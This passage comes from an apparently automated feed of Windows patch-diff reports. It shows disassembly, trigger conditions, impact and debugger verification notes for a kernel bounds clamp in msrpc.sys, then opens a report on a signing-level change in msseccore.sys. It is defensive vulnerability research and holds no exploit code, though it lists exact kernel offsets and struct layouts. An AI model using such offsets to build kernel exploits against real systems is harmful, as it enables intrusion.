&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; loop bound = possibly-unclamped count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0034091&lt;/span&gt;
&lt;span class="c1"&gt;; --- tail: free single aux ptr at +0x2D0 (identical in both builds) ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00340E7&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;D637052h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00340F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;PATCHED — &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData @ 0x1C00331EC&lt;/code&gt; (clamp region)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003326B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; load count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0033271&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0033276&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0033278&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0033282&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; count &amp;lt;= 4 -&amp;gt; skip clamp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C003327A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;F8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** ALWAYS clamp to 4 ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0033280&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0033282&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; free loop follows, unchanged&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key contrasts:&lt;/strong&gt;
- The &lt;code&gt;call Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt; at &lt;code&gt;0x1C003406B&lt;/code&gt; is &lt;strong&gt;gone&lt;/strong&gt;.
- The &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C0034078&lt;/code&gt; that skipped the clamp when the feature evaluated disabled is &lt;strong&gt;gone&lt;/strong&gt; — the clamp is now straight-line.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The pre-patch skip of the clamp requires all of:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Endpoint resolution reached.&lt;/strong&gt; A kernel-mode RPC client binding resolves a dynamic endpoint via the endpoint mapper (&lt;code&gt;ResolveEndpointWithEpMapper&lt;/code&gt; → &lt;code&gt;ResolveEndpoint&lt;/code&gt; → &lt;code&gt;LookupNextChunk&lt;/code&gt;), which issues the endpoint-map RPC and populates the tower array at &lt;code&gt;this+0x2D8&lt;/code&gt; / count at &lt;code&gt;this+0x2F8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WIL feature disabled.&lt;/strong&gt; &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage()&lt;/code&gt; must return 0 (feature-state bit 0x10 clear routes to the WIL fallback; or bit 0x10 set with bit 0 clear). Only then is the clamp skipped in &lt;code&gt;FreeOldLookupData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Count field &lt;code&gt;&amp;gt; 4&lt;/code&gt; at cleanup time.&lt;/strong&gt; &lt;code&gt;this+0x2F8&lt;/code&gt; must exceed 4 when &lt;code&gt;FreeOldLookupData&lt;/code&gt; runs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Condition 3 is the limiting factor. The count is written only by NDR unmarshalling of the endpoint-map reply into a fixed 4-entry &lt;code&gt;[out]&lt;/code&gt; array, whose returned length is validated by the NDR conformant/varying-array path (identical in both builds). No path was found that stores &lt;code&gt;this+0x2F8 &amp;gt; 4&lt;/code&gt; past that validation. &lt;code&gt;ProcessNextChunk&lt;/code&gt; also iterates this array using the unclamped count in both builds, so the delivered clamp is not the load-bearing bound on the loop.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What the clamp guards.&lt;/strong&gt; If &lt;code&gt;this+0x2F8&lt;/code&gt; ever held a value greater than 4 with the feature disabled, &lt;code&gt;FreeOldLookupData&lt;/code&gt; would read array slots beyond index 3 (an out-of-bounds read of adjacent &lt;code&gt;EP_LOOKUP_DATA&lt;/code&gt; fields and, for larger counts, bytes past the structure) and pass any non-zero 8-byte value to &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;. That would be a kernel out-of-bounds read whose read-back pointers feed a pool free — a pool-corruption hazard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why no reachable primitive is claimed.&lt;/strong&gt; The count is not directly attacker-controlled from a local user-mode call: it is the tower count returned by the endpoint-mapper lookup and is bounded to the fixed capacity of 4 by NDR array validation present in both builds. Reaching &lt;code&gt;count &amp;gt; 4&lt;/code&gt; would require that validation to be bypassed, in which case the unclamped &lt;code&gt;ProcessNextChunk&lt;/code&gt; loop (unchanged by this patch) would already read out of bounds first. This patch therefore hardens one of two consumers of the same count, closing a "what if the count is ever out of range" gap rather than a demonstrated exploitable condition.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity: Low.&lt;/strong&gt; A genuine, correct-direction defensive change (a bounds clamp graduated from feature-staged to unconditional) with no demonstrated attacker-reachable out-of-bounds or arbitrary-free primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes (UNPATCHED target)&lt;/h2&gt;
&lt;p&gt;Addresses are file-relative to image base &lt;code&gt;0x1C000000&lt;/code&gt;; add the runtime module base of &lt;code&gt;msrpc.sys&lt;/code&gt; before use.&lt;/p&gt;
&lt;h3&gt;Points of interest&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C003406B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;WIL feature gate — &lt;strong&gt;removed by patch&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0034078&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz 0x1C003408B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Skips the clamp when the feature evaluates disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0034083&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbx+2F8h], ecx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The clamp store (count = 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0034091&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rcx, [rbx+rdi*8+2D8h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Free-loop array read (out of bounds only if count &amp;gt; 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00340A3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call ExFreePoolWithTag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Frees the array entry with tag &lt;code&gt;'RpcM'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00340BA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp edi, [rbx+2F8h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loop bound = count field&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;FreeOldLookupData&lt;/code&gt; entry (&lt;code&gt;0x1C0033FEC&lt;/code&gt;), &lt;code&gt;rcx&lt;/code&gt; = the &lt;code&gt;EP_LOOKUP_DATA&lt;/code&gt; object. Read &lt;code&gt;[rcx+0x2F8]&lt;/code&gt; (tower count) and the four slots at &lt;code&gt;[rcx+0x2D8 .. 0x2F0]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Return value of &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;eax&lt;/code&gt; at &lt;code&gt;0x1C0034070&lt;/code&gt;): &lt;code&gt;0&lt;/code&gt; means the clamp is skipped.&lt;/li&gt;
&lt;li&gt;To confirm the count is bounded upstream, set a write watchpoint on &lt;code&gt;[rcx+0x2F8]&lt;/code&gt; and observe that it is written only by the endpoint-map unmarshalling and never exceeds 4 on the normal path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes (&lt;code&gt;EP_LOOKUP_DATA&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xB4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Count of the first pointer array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xC0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;First pointer array (freed in a separate, identically-bounded loop)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RpcBindingFree&lt;/code&gt; handle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2C8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RpcSsDestroyClientContext&lt;/code&gt; context handle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2D0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Single auxiliary pointer (freed separately)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2D8&lt;/code&gt;, &lt;code&gt;+0x2E0&lt;/code&gt;, &lt;code&gt;+0x2E8&lt;/code&gt;, &lt;code&gt;+0x2F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The 4-element tower-pointer array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2F8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Count for that array — the clamped field&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Freed entries use tag &lt;code&gt;'RpcM'&lt;/code&gt; (&lt;code&gt;0x4D637052&lt;/code&gt;). The gate &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt; reads the global &lt;code&gt;Feature_666052921__private_featureState&lt;/code&gt;; if bit 0x10 is clear it routes to &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;. The &lt;code&gt;sub_&lt;/code&gt;-style symbols shown are internal; use the raw offsets with the module base added at runtime.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Independent content-based comparison of both builds (matching functions by name across relocation) shows exactly one function with a real logic change; every other difference is a mechanical consequence of removing the WIL feature &lt;code&gt;666052921&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C0033FEC&lt;/code&gt; → &lt;code&gt;0x1C00331EC&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Similarity: &lt;strong&gt;~0.95&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Change type: &lt;strong&gt;security_relevant (defense-in-depth hardening)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Removed the call to the WIL feature-staging gate &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Changed the count clamp on &lt;code&gt;this+0x2F8&lt;/code&gt; from &lt;em&gt;gated&lt;/em&gt; (&lt;code&gt;if (feature_enabled &amp;amp;&amp;amp; count &amp;gt; 4) count = 4&lt;/code&gt;) to &lt;em&gt;unconditional&lt;/em&gt; (&lt;code&gt;if (count &amp;gt; 4) count = 4&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Callee set drops the gate (3 → 2); one basic block shorter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Removed WIL feature-staging symbols&lt;/strong&gt; (present only in the unpatched build, all part of feature &lt;code&gt;666052921&lt;/code&gt;'s retirement): &lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;Feature_666052921__private_IsEnabledFallback&lt;/code&gt;, and the &lt;code&gt;wil_details_*&lt;/code&gt; / &lt;code&gt;wil_*StagingConfig*&lt;/code&gt; helpers that supported it (&lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;, &lt;code&gt;wil_details_StagingConfig_Load&lt;/code&gt;, &lt;code&gt;wil_details_StagingConfig_QueryFeatureState&lt;/code&gt;, &lt;code&gt;wil_StagingConfig_QueryFeatureState&lt;/code&gt;, &lt;code&gt;wil_RtlStagingConfig_QueryFeatureState&lt;/code&gt;, &lt;code&gt;wil_details_FeatureStateCache_*&lt;/code&gt;, &lt;code&gt;wil_details_GetCurrentFeatureEnabledState&lt;/code&gt;, &lt;code&gt;wil_details_FeatureReporting_*&lt;/code&gt;, &lt;code&gt;wil_details_MapReportingKind&lt;/code&gt;, &lt;code&gt;wil_details_StagingConfigFeature_HasUniqueState&lt;/code&gt;). These are servicing/feature-flag infrastructure, not security logic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Relocation-only differences&lt;/strong&gt; in ~56 NDR and WIL functions: the removal of the feature shrank a global feature-descriptor table, shifting the base of the shared type-format/increment lookup tables by 0x10 bytes. This appears as displacement changes such as &lt;code&gt;0xB800 → 0xB7F0&lt;/code&gt;, &lt;code&gt;0xB5C0 → 0xB5B0&lt;/code&gt;, &lt;code&gt;0xB680 → 0xB670&lt;/code&gt;, &lt;code&gt;0xB740 → 0xB730&lt;/code&gt;, &lt;code&gt;0xB4E5 → 0xB4D5&lt;/code&gt;, and as shifted jump-table annotation addresses. The instruction logic of these functions is otherwise identical between builds; none is a security change. The remaining WIL functions that still exist in both builds differ only by retargeting &lt;code&gt;Feature_666052921__private_descriptor&lt;/code&gt; to the generic descriptor table (&lt;code&gt;wil_details_featureDescriptors_a&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No security-relevant change was omitted by this report.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;removed (unpatched-only): Feature_666052921 gate + its WIL staging helper functions (feature retirement)
added (patched-only):     []
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only removed functions are the WIL feature-staging machinery for feature &lt;code&gt;666052921&lt;/code&gt;. No functions were added.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; on the mechanism and direction. The diff is a WIL-feature-gated bounds clamp made unconditional, confirmed in both the decompilation and the disassembly of &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData&lt;/code&gt;, together with the removal of the feature's staging code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- The tower count at &lt;code&gt;this+0x2F8&lt;/code&gt; originates from the endpoint-mapper lookup reply and is bounded by NDR conformant/varying-array validation present in both builds; no path was found that drives it above 4 past that validation. The clamp is therefore defense-in-depth, and no attacker-reachable out-of-bounds or arbitrary-free primitive is demonstrated.
- &lt;code&gt;ProcessNextChunk&lt;/code&gt; consumes the same array with the unclamped count in both builds, so the effective loop bound is the NDR validation, not this clamp.
- Feature &lt;code&gt;666052921&lt;/code&gt; is retired in the patched build; the change is consistent with graduating a staged mitigation to always-on.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>msseccore.sys — Insufficient required signing level in the kernel-integrity check callback (CWE-347) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/msseccore_ef35a43c-msseccore-report-20260629-142133.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/msseccore_ef35a43c-msseccore-report-20260629-142133.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msseccore_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msseccore_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.8982&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch raises the required signing level in &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; from &lt;code&gt;0x06&lt;/code&gt; (&lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt;) to &lt;code&gt;0x08&lt;/code&gt; (&lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt;) in the descriptor passed to an OS-provided kernel-integrity callback. All other changed functions are compiler/register-allocation and code-relocation noise plus one benign pool-flag change; none is a security fix.&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;signing-level / trust-policy tightening&lt;/strong&gt;, not a memory-corruption bug. In the unpatched build the check accepts a component signed at the Store level; the patched build requires the higher Microsoft level.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
